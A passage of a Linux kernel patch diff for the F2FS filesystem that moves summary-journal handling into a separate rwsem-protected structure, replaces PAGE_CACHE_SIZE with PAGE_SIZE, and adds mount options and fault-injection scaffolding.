*sum, +void __f2fs_replace_block(struct f2fs_sb_info *sbi, struct f2fs_summary *sum, block_t old_blkaddr, block_t new_blkaddr, - bool recover_curseg) + bool recover_curseg, bool recover_newaddr) { struct sit_info *sit_i = SIT_I(sbi); struct curseg_info *curseg; @@ -1449,7 +1690,7 @@ static void __f2fs_replace_block(struct f2fs_sb_info *sbi, curseg->next_blkoff = GET_BLKOFF_FROM_SEG0(sbi, new_blkaddr); __add_sum_entry(sbi, type, sum); - if (!recover_curseg) + if (!recover_curseg || recover_newaddr) update_sit_entry(sbi, new_blkaddr, 1); if (GET_SEGNO(sbi, old_blkaddr) != NULL_SEGNO) update_sit_entry(sbi, old_blkaddr, -1); @@ -1473,66 +1714,30 @@ static void __f2fs_replace_block(struct f2fs_sb_info *sbi, void f2fs_replace_block(struct f2fs_sb_info *sbi, struct dnode_of_data *dn, block_t old_addr, block_t new_addr, - unsigned char version, bool recover_curseg) + unsigned char version, bool recover_curseg, + bool recover_newaddr) { struct f2fs_summary sum; set_summary(&sum, dn->nid, dn->ofs_in_node, version); - __f2fs_replace_block(sbi, &sum, old_addr, new_addr, recover_curseg); + __f2fs_replace_block(sbi, &sum, old_addr, new_addr, + recover_curseg, recover_newaddr); - dn->data_blkaddr = new_addr; - set_data_blkaddr(dn); - f2fs_update_extent_cache(dn); -} - -static inline bool is_merged_page(struct f2fs_sb_info *sbi, - struct page *page, enum page_type type) -{ - enum page_type btype = PAGE_TYPE_OF_BIO(type); - struct f2fs_bio_info *io = &sbi->write_io[btype]; - struct bio_vec *bvec; - struct page *target; - int i; - - down_read(&io->io_rwsem); - if (!io->bio) { - up_read(&io->io_rwsem); - return false; - } - - bio_for_each_segment_all(bvec, io->bio, i) { - - if (bvec->bv_page->mapping) { - target = bvec->bv_page; - } else { - struct f2fs_crypto_ctx *ctx; - - /* encrypted page */ - ctx = (struct f2fs_crypto_ctx *)page_private( - bvec->bv_page); - target = ctx->w.control_page; - } - - if (page == target) { - up_read(&io->io_rwsem); - return true; - } - } - - up_read(&io->io_rwsem); - return false; + f2fs_update_data_blkaddr(dn, new_addr); } void f2fs_wait_on_page_writeback(struct page *page, - enum page_type type) + enum page_type type, bool ordered) { if (PageWriteback(page)) { struct f2fs_sb_info *sbi = F2FS_P_SB(page); - if (is_merged_page(sbi, page, type)) - f2fs_submit_merged_bio(sbi, type, WRITE); - wait_on_page_writeback(page); + f2fs_submit_merged_bio_cond(sbi, NULL, page, 0, type, WRITE); + if (ordered) + wait_on_page_writeback(page); + else + wait_for_stable_page(page); } } @@ -1541,14 +1746,12 @@ void f2fs_wait_on_encrypted_page_writeback(struct f2fs_sb_info *sbi, { struct page *cpage; - if (blkaddr == NEW_ADDR) + if (blkaddr == NEW_ADDR || blkaddr == NULL_ADDR) return; - f2fs_bug_on(sbi, blkaddr == NULL_ADDR); - cpage = find_lock_page(META_MAPPING(sbi), blkaddr); if (cpage) { - f2fs_wait_on_page_writeback(cpage, DATA); + f2fs_wait_on_page_writeback(cpage, DATA, true); f2fs_put_page(cpage, 1); } } @@ -1569,12 +1772,11 @@ static int read_compacted_summaries(struct f2fs_sb_info *sbi) /* Step 1: restore nat cache */ seg_i = CURSEG_I(sbi, CURSEG_HOT_DATA); - memcpy(&seg_i->sum_blk->n_nats, kaddr, SUM_JOURNAL_SIZE); + memcpy(seg_i->journal, kaddr, SUM_JOURNAL_SIZE); /* Step 2: restore sit cache */ seg_i = CURSEG_I(sbi, CURSEG_COLD_DATA); - memcpy(&seg_i->sum_blk->n_sits, kaddr + SUM_JOURNAL_SIZE, - SUM_JOURNAL_SIZE); + memcpy(seg_i->journal, kaddr + SUM_JOURNAL_SIZE, SUM_JOURNAL_SIZE); offset = 2 * SUM_JOURNAL_SIZE; /* Step 3: restore summary entries */ @@ -1598,7 +1800,7 @@ static int read_compacted_summaries(struct f2fs_sb_info *sbi) s = (struct f2fs_summary *)(kaddr + offset); seg_i->sum_blk->entries[j] = *s; offset += SUMMARY_SIZE; - if (offset + SUMMARY_SIZE <= PAGE_CACHE_SIZE - + if (offset + SUMMARY_SIZE <= PAGE_SIZE - SUM_FOOTER_SIZE) continue; @@ -1670,7 +1872,14 @@ static int read_normal_summaries(struct f2fs_sb_info *sbi, int type) /* set uncompleted segment to curseg */ curseg = CURSEG_I(sbi, type); mutex_lock(&curseg->curseg_mutex); - memcpy(curseg->sum_blk, sum, PAGE_CACHE_SIZE); + + /* update journal info */ + down_write(&curseg->journal_rwsem); + memcpy(curseg->journal, &sum->journal, SUM_JOURNAL_SIZE); + up_write(&curseg->journal_rwsem); + + memcpy(curseg->sum_blk->entries, sum->entries, SUM_ENTRY_SIZE); + memcpy(&curseg->sum_blk->footer, &sum->footer, SUM_FOOTER_SIZE); curseg->next_segno = segno; reset_curseg(sbi, type, 0); curseg->alloc_type = ckpt->alloc_type[type]; @@ -1685,7 +1894,7 @@ static int restore_curseg_summaries(struct f2fs_sb_info *sbi) int type = CURSEG_HOT_DATA; int err; - if (is_set_ckpt_flags(F2FS_CKPT(sbi), CP_COMPACT_SUM_FLAG)) { + if (is_set_ckpt_flags(sbi, CP_COMPACT_SUM_FLAG)) { int npages = npages_for_summary_flush(sbi, true); if (npages >= 2) @@ -1725,13 +1934,12 @@ static void write_compacted_summaries(struct f2fs_sb_info *sbi, block_t blkaddr) /* Step 1: write nat cache */ seg_i = CURSEG_I(sbi, CURSEG_HOT_DATA); - memcpy(kaddr, &seg_i->sum_blk->n_nats, SUM_JOURNAL_SIZE); + memcpy(kaddr, seg_i->journal, SUM_JOURNAL_SIZE); written_size += SUM_JOURNAL_SIZE; /* Step 2: write sit cache */ seg_i = CURSEG_I(sbi, CURSEG_COLD_DATA); - memcpy(kaddr + written_size, &seg_i->sum_blk->n_sits, - SUM_JOURNAL_SIZE); + memcpy(kaddr + written_size, seg_i->journal, SUM_JOURNAL_SIZE); written_size += SUM_JOURNAL_SIZE; /* Step 3: write summary entries */ @@ -1753,7 +1961,7 @@ static void write_compacted_summaries(struct f2fs_sb_info *sbi, block_t blkaddr) *summary = seg_i->sum_blk->entries[j]; written_size += SUMMARY_SIZE; - if (written_size + SUMMARY_SIZE <= PAGE_CACHE_SIZE - + if (written_size + SUMMARY_SIZE <= PAGE_SIZE - SUM_FOOTER_SIZE) continue; @@ -1777,17 +1985,13 @@ static void write_normal_summaries(struct f2fs_sb_info *sbi, else end = type + NR_CURSEG_NODE_TYPE; - for (i = type; i < end; i++) { - struct curseg_info *sum = CURSEG_I(sbi, i); - mutex_lock(&sum->curseg_mutex); - write_sum_page(sbi, sum->sum_blk, blkaddr + (i - type)); - mutex_unlock(&sum->curseg_mutex); - } + for (i = type; i < end; i++) + write_current_sum_page(sbi, i, blkaddr + (i - type)); } void write_data_summaries(struct f2fs_sb_info *sbi, block_t start_blk) { - if (is_set_ckpt_flags(F2FS_CKPT(sbi), CP_COMPACT_SUM_FLAG)) + if (is_set_ckpt_flags(sbi, CP_COMPACT_SUM_FLAG)) write_compacted_summaries(sbi, start_blk); else write_normal_summaries(sbi, start_blk, CURSEG_HOT_DATA); @@ -1798,24 +2002,24 @@ void write_node_summaries(struct f2fs_sb_info *sbi, block_t start_blk) write_normal_summaries(sbi, start_blk, CURSEG_HOT_NODE); } -int lookup_journal_in_cursum(struct f2fs_summary_block *sum, int type, +int lookup_journal_in_cursum(struct f2fs_journal *journal, int type, unsigned int val, int alloc) { int i; if (type == NAT_JOURNAL) { - for (i = 0; i < nats_in_cursum(sum); i++) { - if (le32_to_cpu(nid_in_journal(sum, i)) == val) + for (i = 0; i < nats_in_cursum(journal); i++) { + if (le32_to_cpu(nid_in_journal(journal, i)) == val) return i; } - if (alloc && nats_in_cursum(sum) < NAT_JOURNAL_ENTRIES) - return update_nats_in_cursum(sum, 1); + if (alloc && __has_cursum_space(journal, 1, NAT_JOURNAL)) + return update_nats_in_cursum(journal, 1); } else if (type == SIT_JOURNAL) { - for (i = 0; i < sits_in_cursum(sum); i++) - if (le32_to_cpu(segno_in_journal(sum, i)) == val) + for (i = 0; i < sits_in_cursum(journal); i++) + if (le32_to_cpu(segno_in_journal(journal, i)) == val) return i; - if (alloc && sits_in_cursum(sum) < SIT_JOURNAL_ENTRIES) - return update_sits_in_cursum(sum, 1); + if (alloc && __has_cursum_space(journal, 1, SIT_JOURNAL)) + return update_sits_in_cursum(journal, 1); } return -1; } @@ -1844,7 +2048,7 @@ static struct page *get_next_sit_page(struct f2fs_sb_info *sbi, src_addr = page_address(src_page); dst_addr = page_address(dst_page); - memcpy(dst_addr, src_addr, PAGE_CACHE_SIZE); + memcpy(dst_addr, src_addr, PAGE_SIZE); set_page_dirty(dst_page); f2fs_put_page(src_page, 1); @@ -1919,20 +2123,22 @@ static void add_sits_in_set(struct f2fs_sb_info *sbi) static void remove_sits_in_journal(struct f2fs_sb_info *sbi) { struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_COLD_DATA); - struct f2fs_summary_block *sum = curseg->sum_blk; + struct f2fs_journal *journal = curseg->journal; int i; - for (i = sits_in_cursum(sum) - 1; i >= 0; i--) { + down_write(&curseg->journal_rwsem); + for (i = 0; i < sits_in_cursum(journal); i++) { unsigned int segno; bool dirtied; - segno = le32_to_cpu(segno_in_journal(sum, i)); + segno = le32_to_cpu(segno_in_journal(journal, i)); dirtied = __mark_sit_entry_dirty(sbi, segno); if (!dirtied) add_sit_entry(segno, &SM_I(sbi)->sit_entry_set); } - update_sits_in_cursum(sum, -sits_in_cursum(sum)); + update_sits_in_cursum(journal, -i); + up_write(&curseg->journal_rwsem); } /* @@ -1944,13 +2150,12 @@ void flush_sit_entries(struct f2fs_sb_info *sbi, struct cp_control *cpc) struct sit_info *sit_i = SIT_I(sbi); unsigned long *bitmap = sit_i->dirty_sentries_bitmap; struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_COLD_DATA); - struct f2fs_summary_block *sum = curseg->sum_blk; + struct f2fs_journal *journal = curseg->journal; struct sit_entry_set *ses, *tmp; struct list_head *head = &SM_I(sbi)->sit_entry_set; bool to_journal = true; struct seg_entry *se; - mutex_lock(&curseg->curseg_mutex); mutex_lock(&sit_i->sentry_lock); if (!sit_i->dirty_sentries) @@ -1967,7 +2172,7 @@ void flush_sit_entries(struct f2fs_sb_info *sbi, struct cp_control *cpc) * entries, remove all entries from journal and add and account * them in sit entry set. */ - if (!__has_cursum_space(sum, sit_i->dirty_sentries, SIT_JOURNAL)) + if (!__has_cursum_space(journal, sit_i->dirty_sentries, SIT_JOURNAL)) remove_sits_in_journal(sbi); /* @@ -1984,10 +2189,12 @@ void flush_sit_entries(struct f2fs_sb_info *sbi, struct cp_control *cpc) unsigned int segno = start_segno; if (to_journal && - !__has_cursum_space(sum, ses->entry_cnt, SIT_JOURNAL)) + !__has_cursum_space(journal, ses->entry_cnt, SIT_JOURNAL)) to_journal = false; - if (!to_journal) { + if (to_journal) { + down_write(&curseg->journal_rwsem); + } else { page = get_next_sit_page(sbi, start_segno); raw_sit = page_address(page); } @@ -2005,13 +2212,13 @@ void flush_sit_entries(struct f2fs_sb_info *sbi, struct cp_control *cpc) } if (to_journal) { - offset = lookup_journal_in_cursum(sum, + offset = lookup_journal_in_cursum(journal, SIT_JOURNAL, segno, 1); f2fs_bug_on(sbi, offset < 0); - segno_in_journal(sum, offset) = + segno_in_journal(journal, offset) = cpu_to_le32(segno); seg_info_to_raw_sit(se, - &sit_in_journal(sum, offset)); + &sit_in_journal(journal, offset)); } else { sit_offset = SIT_ENTRY_OFFSET(sit_i, segno); seg_info_to_raw_sit(se, @@ -2023,7 +2230,9 @@ void flush_sit_entries(struct f2fs_sb_info *sbi, struct cp_control *cpc) ses->entry_cnt--; } - if (!to_journal) + if (to_journal) + up_write(&curseg->journal_rwsem); + else f2fs_put_page(page, 1); f2fs_bug_on(sbi, ses->entry_cnt); @@ -2038,7 +2247,6 @@ void flush_sit_entries(struct f2fs_sb_info *sbi, struct cp_control *cpc) add_discard_addrs(sbi, cpc); } mutex_unlock(&sit_i->sentry_lock); - mutex_unlock(&curseg->curseg_mutex); set_prefree_as_free_segments(sbi); } @@ -2046,7 +2254,6 @@ void flush_sit_entries(struct f2fs_sb_info *sbi, struct cp_control *cpc) static int build_sit_info(struct f2fs_sb_info *sbi) { struct f2fs_super_block *raw_super = F2FS_RAW_SUPER(sbi); - struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); struct sit_info *sit_i; unsigned int sit_segs, start; char *src_bitmap, *dst_bitmap; @@ -2074,12 +2281,16 @@ static int build_sit_info(struct f2fs_sb_info *sbi) = kzalloc(SIT_VBLOCK_MAP_SIZE, GFP_KERNEL); sit_i->sentries[start].ckpt_valid_map = kzalloc(SIT_VBLOCK_MAP_SIZE, GFP_KERNEL); - sit_i->sentries[start].discard_map - = kzalloc(SIT_VBLOCK_MAP_SIZE, GFP_KERNEL); if (!sit_i->sentries[start].cur_valid_map || - !sit_i->sentries[start].ckpt_valid_map || - !sit_i->sentries[start].discard_map) + !sit_i->sentries[start].ckpt_valid_map) return -ENOMEM; + + if (f2fs_discard_en(sbi)) { + sit_i->sentries[start].discard_map + = kzalloc(SIT_VBLOCK_MAP_SIZE, GFP_KERNEL); + if (!sit_i->sentries[start].discard_map) + return -ENOMEM; + } } sit_i->tmp_map = kzalloc(SIT_VBLOCK_MAP_SIZE, GFP_KERNEL); @@ -2109,7 +2320,7 @@ static int build_sit_info(struct f2fs_sb_info *sbi) sit_i->sit_base_addr = le32_to_cpu(raw_super->sit_blkaddr); sit_i->sit_blocks = sit_segs << sbi->log_blocks_per_seg; - sit_i->written_valid_blocks = le64_to_cpu(ckpt->valid_block_count); + sit_i->written_valid_blocks = 0; sit_i->sit_bitmap = dst_bitmap; sit_i->bitmap_size = bitmap_size; sit_i->dirty_sentries = 0; @@ -2167,9 +2378,14 @@ static int build_curseg(struct f2fs_sb_info *sbi) for (i = 0; i < NR_CURSEG_TYPE; i++) { mutex_init(&array[i].curseg_mutex); - array[i].sum_blk = kzalloc(PAGE_CACHE_SIZE, GFP_KERNEL); + array[i].sum_blk = kzalloc(PAGE_SIZE, GFP_KERNEL); if (!array[i].sum_blk) return -ENOMEM; + init_rwsem(&array[i].journal_rwsem); + array[i].journal = kzalloc(sizeof(struct f2fs_journal), + GFP_KERNEL); + if (!array[i].journal) + return -ENOMEM; array[i].segno = NULL_SEGNO; array[i].next_blkoff = 0; } @@ -2180,54 +2396,73 @@ static void build_sit_entries(struct f2fs_sb_info *sbi) { struct sit_info *sit_i = SIT_I(sbi); struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_COLD_DATA); - struct f2fs_summary_block *sum = curseg->sum_blk; + struct f2fs_journal *journal = curseg->journal; + struct seg_entry *se; + struct f2fs_sit_entry sit; int sit_blk_cnt = SIT_BLK_CNT(sbi); unsigned int i, start, end; unsigned int readed, start_blk = 0; - int nrpages = MAX_BIO_BLOCKS(sbi); do { - readed = ra_meta_pages(sbi, start_blk, nrpages, META_SIT, true); + readed = ra_meta_pages(sbi, start_blk, BIO_MAX_PAGES, + META_SIT, true); start = start_blk * sit_i->sents_per_block; end = (start_blk + readed) * sit_i->sents_per_block; for (; start < end && start < MAIN_SEGS(sbi); start++) { - struct seg_entry *se = &sit_i->sentries[start]; struct f2fs_sit_block *sit_blk; - struct f2fs_sit_entry sit; struct page *page; - mutex_lock(&curseg->curseg_mutex); - for (i = 0; i < sits_in_cursum(sum); i++) { - if (le32_to_cpu(segno_in_journal(sum, i)) - == start) { - sit = sit_in_journal(sum, i); - mutex_unlock(&curseg->curseg_mutex); - goto got_it; - } - } - mutex_unlock(&curseg->curseg_mutex); - + se = &sit_i->sentries[start]; page = get_current_sit_page(sbi, start); sit_blk = (struct f2fs_sit_block *)page_address(page); sit = sit_blk->entries[SIT_ENTRY_OFFSET(sit_i, start)]; f2fs_put_page(page, 1); -got_it: + check_block_count(sbi, start, &sit); seg_info_from_raw_sit(se, &sit); /* build discard map only one time */ - memcpy(se->discard_map, se->cur_valid_map, SIT_VBLOCK_MAP_SIZE); - sbi->discard_blks += sbi->blocks_per_seg - se->valid_blocks; - - if (sbi->segs_per_sec > 1) { - struct sec_entry *e = get_sec_entry(sbi, start); - e->valid_blocks += se->valid_blocks; + if (f2fs_discard_en(sbi)) { + memcpy(se->discard_map, se->cur_valid_map, + SIT_VBLOCK_MAP_SIZE); + sbi->discard_blks += sbi->blocks_per_seg - + se->valid_blocks; } + + if (sbi->segs_per_sec > 1) + get_sec_entry(sbi, start)->valid_blocks += + se->valid_blocks; } start_blk += readed; } while (start_blk < sit_blk_cnt); + + down_read(&curseg->journal_rwsem); + for (i = 0; i < sits_in_cursum(journal); i++) { + unsigned int old_valid_blocks; + + start = le32_to_cpu(segno_in_journal(journal, i)); + se = &sit_i->sentries[start]; + sit = sit_in_journal(journal, i); + + old_valid_blocks = se->valid_blocks; + + check_block_count(sbi, start, &sit); + seg_info_from_raw_sit(se, &sit); + + if (f2fs_discard_en(sbi)) { + memcpy(se->discard_map, se->cur_valid_map, + SIT_VBLOCK_MAP_SIZE); + sbi->discard_blks += old_valid_blocks - + se->valid_blocks; + } + + if (sbi->segs_per_sec > 1) + get_sec_entry(sbi, start)->valid_blocks += + se->valid_blocks - old_valid_blocks; + } + up_read(&curseg->journal_rwsem); } static void init_free_segmap(struct f2fs_sb_info *sbi) @@ -2239,6 +2474,9 @@ static void init_free_segmap(struct f2fs_sb_info *sbi) struct seg_entry *sentry = get_seg_entry(sbi, start); if (!sentry->valid_blocks) __set_free(sbi, start); + else + SIT_I(sbi)->written_valid_blocks += + sentry->valid_blocks; } /* set use the current segments */ @@ -2360,7 +2598,11 @@ int build_segment_manager(struct f2fs_sb_info *sbi) sm_info->ssa_blkaddr = le32_to_cpu(raw_super->ssa_blkaddr); sm_info->rec_prefree_segments = sm_info->main_segments * DEF_RECLAIM_PREFREE_SEGMENTS / 100; - sm_info->ipu_policy = 1 << F2FS_IPU_FSYNC; + if (sm_info->rec_prefree_segments > DEF_MAX_RECLAIM_PREFREE_SEGMENTS) + sm_info->rec_prefree_segments = DEF_MAX_RECLAIM_PREFREE_SEGMENTS; + + if (!test_opt(sbi, LFS)) + sm_info->ipu_policy = 1 << F2FS_IPU_FSYNC; sm_info->min_ipu_util = DEF_MIN_IPU_UTIL; sm_info->min_fsync_blocks = DEF_MIN_FSYNC_BLOCKS; @@ -2442,8 +2684,10 @@ static void destroy_curseg(struct f2fs_sb_info *sbi) if (!array) return; SM_I(sbi)->curseg_array = NULL; - for (i = 0; i < NR_CURSEG_TYPE; i++) + for (i = 0; i < NR_CURSEG_TYPE; i++) { kfree(array[i].sum_blk); + kfree(array[i].journal); + } kfree(array); } @@ -2490,7 +2734,7 @@ void destroy_segment_manager(struct f2fs_sb_info *sbi) if (!sm_info) return; - destroy_flush_cmd_control(sbi); + destroy_flush_cmd_control(sbi, true); destroy_dirty_segmap(sbi); destroy_curseg(sbi); destroy_free_segmap(sbi); diff --git a/fs/f2fs/segment.h b/fs/f2fs/segment.h index 3bbeca13f70d4..4fe8d9ccce62b 100644 --- a/fs/f2fs/segment.h +++ b/fs/f2fs/segment.h @@ -15,6 +15,9 @@ #define NULL_SECNO ((unsigned int)(~0)) #define DEF_RECLAIM_PREFREE_SEGMENTS 5 /* 5% over total segments */ +#define DEF_MAX_RECLAIM_PREFREE_SEGMENTS 4096 /* 8GB in maximum */ + +#define F2FS_MIN_SEGMENTS 9 /* SB + 2 (CP + SIT + NAT) + SSA + MAIN */ /* L: Logical segment # in volume, R: Relative segment # in main area */ #define GET_L2R_SEGNO(free_i, segno) (segno - free_i->start_segno) @@ -100,8 +103,6 @@ (((sector_t)blk_addr) << F2FS_LOG_SECTORS_PER_BLOCK) #define SECTOR_TO_BLOCK(sectors) \ (sectors >> F2FS_LOG_SECTORS_PER_BLOCK) -#define MAX_BIO_BLOCKS(sbi) \ - ((int)min((int)max_hw_blocks(sbi), BIO_MAX_PAGES)) /* * indicate a block allocation direction: RIGHT and LEFT. @@ -157,16 +158,17 @@ struct victim_sel_policy { }; struct seg_entry { - unsigned short valid_blocks; /* # of valid blocks */ + unsigned int type:6; /* segment type like CURSEG_XXX_TYPE */ + unsigned int valid_blocks:10; /* # of valid blocks */ + unsigned int ckpt_valid_blocks:10; /* # of valid blocks last cp */ + unsigned int padding:6; /* padding */ unsigned char *cur_valid_map; /* validity bitmap of blocks */ /* * # of valid blocks and the validity bitmap stored in the the last * checkpoint pack. This information is used by the SSR mode. */ - unsigned short ckpt_valid_blocks; - unsigned char *ckpt_valid_map; + unsigned char *ckpt_valid_map; /* validity bitmap of blocks last cp */ unsigned char *discard_map; - unsigned char type; /* segment type like CURSEG_XXX_TYPE */ unsigned long long mtime; /* modification time of the segment */ }; @@ -182,7 +184,7 @@ struct segment_allocation { * this value is set in page as a private data which indicate that * the page is atomically written, and it is in inmem_pages list. */ -#define ATOMIC_WRITTEN_PAGE 0x0000ffff +#define ATOMIC_WRITTEN_PAGE ((unsigned long)-1) #define IS_ATOMIC_WRITTEN_PAGE(page) \ (page_private(page) == (unsigned long)ATOMIC_WRITTEN_PAGE) @@ -190,6 +192,7 @@ struct segment_allocation { struct inmem_pages { struct list_head list; struct page *page; + block_t old_addr; /* for revoking when fail to commit */ }; struct sit_info { @@ -256,6 +259,8 @@ struct victim_selection { struct curseg_info { struct mutex curseg_mutex; /* lock for consistency */ struct f2fs_summary_block *sum_blk; /* cached summary block */ + struct rw_semaphore journal_rwsem; /* protect journal area */ + struct f2fs_journal *journal; /* cached journal info */ unsigned char alloc_type; /* current allocation type */ unsigned int segno; /* current segment number */ unsigned short next_blkoff; /* next block offset to write */ @@ -465,20 +470,28 @@ static inline bool need_SSR(struct f2fs_sb_info *sbi) { int node_secs = get_blocktype_secs(sbi, F2FS_DIRTY_NODES); int dent_secs = get_blocktype_secs(sbi, F2FS_DIRTY_DENTS); - return free_sections(sbi) <= (node_secs + 2 * dent_secs + + int imeta_secs = get_blocktype_secs(sbi, F2FS_DIRTY_IMETA); + + if (test_opt(sbi, LFS)) + return false; + + return free_sections(sbi) <= (node_secs + 2 * dent_secs + imeta_secs + reserved_sections(sbi) + 1); } -static inline bool has_not_enough_free_secs(struct f2fs_sb_info *sbi, int freed) +static inline bool has_not_enough_free_secs(struct f2fs_sb_info *sbi, + int freed, int needed) { int node_secs = get_blocktype_secs(sbi, F2FS_DIRTY_NODES); int dent_secs = get_blocktype_secs(sbi, F2FS_DIRTY_DENTS); + int imeta_secs = get_blocktype_secs(sbi, F2FS_DIRTY_IMETA); if (unlikely(is_sbi_flag_set(sbi, SBI_POR_DOING))) return false; - return (free_sections(sbi) + freed) <= (node_secs + 2 * dent_secs + - reserved_sections(sbi)); + return (free_sections(sbi) + freed) <= + (node_secs + 2 * dent_secs + imeta_secs + + reserved_sections(sbi) + needed); } static inline bool excess_prefree_segs(struct f2fs_sb_info *sbi) @@ -526,6 +539,9 @@ static inline bool need_inplace_update(struct inode *inode) if (S_ISDIR(inode->i_mode) || f2fs_is_atomic_file(inode)) return false; + if (test_opt(sbi, LFS)) + return false; + if (policy & (0x1 << F2FS_IPU_FORCE)) return true; if (policy & (0x1 << F2FS_IPU_SSR) && need_SSR(sbi)) @@ -539,7 +555,7 @@ static inline bool need_inplace_update(struct inode *inode) /* this is only set during fdatasync */ if (policy & (0x1 << F2FS_IPU_FSYNC) && - is_inode_flag_set(F2FS_I(inode), FI_NEED_IPU)) + is_inode_flag_set(inode, FI_NEED_IPU)) return true; return false; @@ -572,8 +588,8 @@ static inline void check_seg_range(struct f2fs_sb_info *sbi, unsigned int segno) static inline void verify_block_addr(struct f2fs_sb_info *sbi, block_t blk_addr) { - f2fs_bug_on(sbi, blk_addr < SEG0_BLKADDR(sbi) - || blk_addr >= MAX_BLKADDR(sbi)); + BUG_ON(blk_addr < SEG0_BLKADDR(sbi) + || blk_addr >= MAX_BLKADDR(sbi)); } /* @@ -679,13 +695,6 @@ static inline bool sec_usage_check(struct f2fs_sb_info *sbi, unsigned int secno) return false; } -static inline unsigned int max_hw_blocks(struct f2fs_sb_info *sbi) -{ - struct block_device *bdev = sbi->sb->s_bdev; - struct request_queue *q = bdev_get_queue(bdev); - return SECTOR_TO_BLOCK(queue_max_sectors(q)); -} - /* * It is very important to gather dirty pages and write at once, so that we can * submit a big bio without interfering other data writes. @@ -701,9 +710,9 @@ static inline int nr_pages_to_skip(struct f2fs_sb_info *sbi, int type) if (type == DATA) return sbi->blocks_per_seg; else if (type == NODE) - return 3 * sbi->blocks_per_seg; + return 8 * sbi->blocks_per_seg; else if (type == META) - return MAX_BIO_BLOCKS(sbi); + return 8 * BIO_MAX_PAGES; else return 0; } @@ -720,13 +729,9 @@ static inline long nr_pages_to_write(struct f2fs_sb_info *sbi, int type, return 0; nr_to_write = wbc->nr_to_write; - - if (type == DATA) - desired = 4096; - else if (type == NODE) - desired = 3 * max_hw_blocks(sbi); - else - desired = MAX_BIO_BLOCKS(sbi); + desired = BIO_MAX_PAGES; + if (type == NODE) + desired <<= 1; wbc->nr_to_write = desired; return desired - nr_to_write; diff --git a/fs/f2fs/shrinker.c b/fs/f2fs/shrinker.c index 420b233d3de0b..cb303f9ed0539 100644 --- a/fs/f2fs/shrinker.c +++ b/fs/f2fs/shrinker.c @@ -13,6 +13,7 @@ #include #include "f2fs.h" +#include "node.h" static LIST_HEAD(f2fs_list); static DEFINE_SPINLOCK(f2fs_list_lock); @@ -20,19 +21,22 @@ static unsigned int shrinker_run_no; static unsigned long __count_nat_entries(struct f2fs_sb_info *sbi) { - return NM_I(sbi)->nat_cnt - NM_I(sbi)->dirty_nat_cnt; + long count = NM_I(sbi)->nat_cnt - NM_I(sbi)->dirty_nat_cnt; + + return count > 0 ? count : 0; } static unsigned long __count_free_nids(struct f2fs_sb_info *sbi) { - if (NM_I(sbi)->fcnt > NAT_ENTRY_PER_BLOCK) - return NM_I(sbi)->fcnt - NAT_ENTRY_PER_BLOCK; - return 0; + long count = NM_I(sbi)->nid_cnt[FREE_NID_LIST] - MAX_FREE_NIDS; + + return count > 0 ? count : 0; } static unsigned long __count_extent_cache(struct f2fs_sb_info *sbi) { - return sbi->total_ext_tree + atomic_read(&sbi->total_ext_node); + return atomic_read(&sbi->total_zombie_tree) + + atomic_read(&sbi->total_ext_node); } int f2fs_shrink_count(struct shrinker *shrink, diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c index b45fd139b5aa8..f0105b697fc32 100644 --- a/fs/f2fs/super.c +++ b/fs/f2fs/super.c @@ -39,6 +39,35 @@ static struct proc_dir_entry *f2fs_proc_root; static struct kmem_cache *f2fs_inode_cachep; static struct kset *f2fs_kset; +#ifdef CONFIG_F2FS_FAULT_INJECTION + +char *fault_name[FAULT_MAX] = { + [FAULT_KMALLOC] = "kmalloc", + [FAULT_PAGE_ALLOC] = "page alloc", + [FAULT_ALLOC_NID] = "alloc nid", + [FAULT_ORPHAN] = "orphan", + [FAULT_BLOCK] = "no more block", + [FAULT_DIR_DEPTH] = "too big dir depth", + [FAULT_EVICT_INODE] = "evict_inode fail", + [FAULT_IO] = "IO error", + [FAULT_CHECKPOINT] = "checkpoint error", +}; + +static void f2fs_build_fault_attr(struct f2fs_sb_info *sbi, + unsigned int rate) +{ + struct f2fs_fault_info *ffi = &sbi->fault_info; + + if (rate) { + atomic_set(&ffi->inject_ops, 0); + ffi->inject_rate = rate; + ffi->inject_type = (1 << FAULT_MAX) - 1; + } else { + memset(ffi, 0, sizeof(struct f2fs_fault_info)); + } +} +#endif + /* f2fs-wide shrinker description */ static struct shrinker f2fs_shrinker_info = { .shrink = f2fs_shrink_scan, @@ -50,6 +79,7 @@ enum { Opt_disable_roll_forward, Opt_norecovery, Opt_discard, + Opt_nodiscard, Opt_noheap, Opt_user_xattr, Opt_nouser_xattr, @@ -60,12 +90,17 @@ enum { Opt_inline_xattr, Opt_inline_data, Opt_inline_dentry, + Opt_noinline_dentry, Opt_flush_merge, + Opt_noflush_merge, Opt_nobarrier, Opt_fastboot, Opt_extent_cache, Opt_noextent_cache, Opt_noinline_data, + Opt_data_flush, + Opt_mode, + Opt_fault_injection, Opt_err, }; @@ -74,6 +109,7 @@ static match_table_t f2fs_tokens = { {Opt_disable_roll_forward, "disable_roll_forward"}, {Opt_norecovery, "norecovery"}, {Opt_discard, "discard"}, + {Opt_nodiscard, "nodiscard"}, {Opt_noheap, "no_heap"}, {Opt_user_xattr, "user_xattr"}, {Opt_nouser_xattr, "nouser_xattr"}, @@ -84,12 +120,17 @@ static match_table_t f2fs_tokens = { {Opt_inline_xattr, "inline_xattr"}, {Opt_inline_data, "inline_data"}, {Opt_inline_dentry, "inline_dentry"}, + {Opt_noinline_dentry, "noinline_dentry"}, {Opt_flush_merge, "flush_merge"}, + {Opt_noflush_merge, "noflush_merge"}, {Opt_nobarrier, "nobarrier"}, {Opt_fastboot, "fastboot"}, {Opt_extent_cache, "extent_cache"}, {Opt_noextent_cache, "noextent_cache"}, {Opt_noinline_data, "noinline_data"}, + {Opt_data_flush, "data_flush"}, + {Opt_mode, "mode=%s"}, + {Opt_fault_injection, "fault_injection=%u"}, {Opt_err, NULL}, }; @@ -99,6 +140,10 @@ enum { SM_INFO, /* struct f2fs_sm_info */ NM_INFO, /* struct f2fs_nm_info */ F2FS_SBI, /* struct f2fs_sb_info */ +#ifdef CONFIG_F2FS_FAULT_INJECTION + FAULT_INFO_RATE, /* struct f2fs_fault_info */ + FAULT_INFO_TYPE, /* struct f2fs_fault_info */ +#endif }; struct f2fs_attr { @@ -120,9 +165,27 @@ static unsigned char *__struct_ptr(struct f2fs_sb_info *sbi, int struct_type) return (unsigned char *)NM_I(sbi); else if (struct_type == F2FS_SBI) return (unsigned char *)sbi; 